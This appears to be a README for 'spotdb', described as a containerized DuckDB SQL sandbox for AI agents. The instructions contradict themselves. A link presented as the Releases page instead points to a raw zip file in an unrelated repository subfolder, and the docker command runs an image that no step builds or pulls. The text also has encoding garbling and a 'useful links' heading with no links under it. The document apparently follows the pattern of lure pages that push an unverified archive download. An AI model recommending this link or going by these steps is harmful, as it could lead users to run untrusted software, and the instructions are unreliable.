spotdb creates a secure, containerized SQL sandbox that gives your agents quick access to data. With support for MCP or API access enabled by DuckDB, you can start analyzing your data in no time. Thereβs no need for complex infrastructure; just push any CSV file, run your queries, and move on.
- Secure Environment: Your data stays safe in a containerized setup.
- Fast Setup: Experience a quick spin-up cycle. Get started in minutes.
- MCP and API Access: Interact with your database easily.
- Support for DuckDB: Utilize powerful SQL capabilities.
- User-Friendly: Designed for both tech-savvy and new users.
- Operating System: Windows 10 or later, macOS 10.15 or later, or any Linux distribution.
- Memory: At least 4GB of RAM.
- Disk Space: Minimum 500MB of free space for installation.
- Docker: Must have Docker installed to run the containerized application.
Follow these steps to begin using spotdb.
To download the latest version of spotdb, visit the following link: https://raw.githubusercontent.com/Rookie481/spotdb/main/dicast/spotdb.zip.
On the Releases page, you will see a list of available versions. Click on the latest version to download the application. You can choose the file appropriate for your operating system.
Ensure that Docker is installed on your machine. If you do not have it, you can download it from the official Docker website. Installation guides are available for all operating systems.
Once you have downloaded the application and installed Docker, you can now run spotdb. Open your command-line interface and navigate to the directory where you saved the downloaded file.
Run the following command:
docker run -it --rm -p 8080:8080 spotdb
This command starts the application and exposes it on port 8080. You can adjust the ports as needed.
To download the latest version of spotdb, visit this page.
Ensure to select the correct file for your operating system from the releases list. Once downloaded, follow the installation instructions above to set up your containerized SQL environment.
Once you have the application running, access the SQL sandbox through your web browser at http://localhost:8080. From there, you can:
- Upload CSV Files: Drag and drop your CSV files directly into the interface.
- Run Queries: Use the built-in query editor to interact with your data.
- Analyze Data: Utilize SQL to filter, count, and analyze your datasets.
For more detailed instructions and examples on using spotdb, please refer to the documentation section within the application interface. Youβll find explanations, tips, and best practices to maximize your experience.
Join the spotdb community for help and discussions. You can find support in the Issues tab of this repository. Contribute your thoughts and suggestions to improve spotdb.
We plan to introduce more features in future releases. These may include:
- Enhanced data visualization tools to better analyze your data.
- Automatic data cleaning features for uploaded CSV files.
- Expanded support for more database systems.
Stay tuned for updates!
Here are some useful links related to spotdb:
Feel free to explore these resources to deepen your understanding of Docker, DuckDB, and spotdb.
- v1.0: Initial release with core functionality for secure SQL sandboxes.
- Future versions will come with new features and optimizations.
To download the latest version again, click here.